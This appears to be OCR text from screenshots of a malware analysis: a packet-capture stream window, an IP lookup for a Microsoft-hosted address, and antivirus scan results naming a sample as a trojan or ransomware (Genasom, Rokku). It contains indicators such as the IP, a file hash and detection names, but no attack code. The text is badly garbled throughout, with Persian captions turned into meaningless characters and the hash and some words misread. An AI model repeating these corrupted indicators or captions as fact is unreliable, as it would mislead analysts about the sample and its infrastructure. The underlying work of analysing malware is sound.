[Entire conversation (708 bytes) ~] Show and save data as [ASCIE -] Stream 8 [
Find:

f [F”t.t’ Qut This Str.am] [ Print ] [ Save as... l [ Back ] [ Close ] I Help ]

2loy


https://www.hybrid-analysis.com/search?query=port%3A80
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52.173.139.125 |IP Address Information

ISP
Usage Type
Domain Name

Country

City

REPORT 52.173.139.125

Microsoft Corporation

microsoft.com

West Des Moines, lowa

Data Center/Web Hosting/Transit

VIEW ABUSE REPORTS

el 0l S Clas Sole &S 5 glass e (S35 2 4S OYIVIAYANYE ol SISe Curbye Y g

: VirusTotal sbLle =4 &

i 3L VirusTotal Sl 3 54> 50 S5l 5T 5 s s STV 5,50 YA sl ol Jb= s

Ad-Aware

AhnLab-v3

Antiy-AVL

Avast

Avira

BitDefender

CrowdStrike Falcon

Emsisoft

ESET-NOD32

Fortinet

Ikarus

K7GW

McAfee

Microsoft

Palo Alto Networks

Qihoo-360

Sophos ML

TrendMicro

Webroot

S g b e b B 1 0T 03 1 2 cnl bl

Trojan.GenericKD.30921917
Trojan/Win32.Agent.C2571706
Trojan/Win32.TSGeneric
Win32:Malware-gen
TR/Genasom.pvcwt
Trojan.GenericKD.30921917
malicious_confidence_90% (W)
Trojan.GenericKD.30921917 (B)
a variant of Generik. LVWWOYRR
PossibleThreat
Trojan-Ransom.Rokku

Trojan ( 0051fc671)
Artemis!FOAD661FF1AE
Ransom:Win32/Genasom
generic.ml
Win32/Trojan.Generic.700
heuristic

Ransom_Genasom.RO38CODF718

2 N R

W32.Trojan.GenKD

AegisLab

AlYac

Arcabit

AVG

AVware
CAT-QuickHeal
Cyren

eScan

F-Secure

GData
K7AntiVirus
MAX
McAfee-GW-Edition
NANO-Antivirus
Panda

Sophos AV

Symantec

TrendMicro-HouseCall

Yandex

bbb PPPPPEPPPEDPDPD

Virus.W32.Viruslc
Trojan.Ransom.BadMonkey
Trojan.Generic.D1D07D4BD
Win32:Malware-gen
Trojan.Win32.Generic!BT
Trojan.Genasom
W32/Trojan.UVVU-7166
Trojan.GenericKD.30921917
Trojan.GenericKD.30921917
Trojan.GenericKD.30921917
Trojan (0051fc671)

malware (ai score=94)
BehavesLike.Win32.Generic.fc
Trojan.Win32.Genasom.fdwyht
Trj/GdSda.A

Mal/Generic-S

Trojan.Gen.2
Ransom_Genasom.RO38CODF718

Trojan.Genasom!
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S o b e b B 1 0T 03 18 2 cnl bl

oSl Az

d5¢5d6230b79e718edb7a0e131¢c5511069e7a8cc85f77dbebefe393ealdfeebe_Q3m kHRijn.bin

Clean

Clean

Dangerous:
Trojan.GenerickD.30921917

Dangerous:
Trojan-Ransom.MSIL. Agent.Fgml

Dangerous:
Generik. LVWOYRR

Clean

Clean

Dangerous:
Malware

Dangerous:
Trojan.GenerickD.30921917

Clean

Dangerous:
Trojan.Gen.2

14

28] A

2.3.190.2675

9.14.2

11.00

4.53.38127

11.0.1.160/061217

0.99.2

1.1.268025.1

11.0.1.18

7.9.0.30

wognEEt

wmgsl

sophos

f_secure

kaspersky

eset

drweb

clam_av

comodo

bitdefender

avast

symantec

2loy
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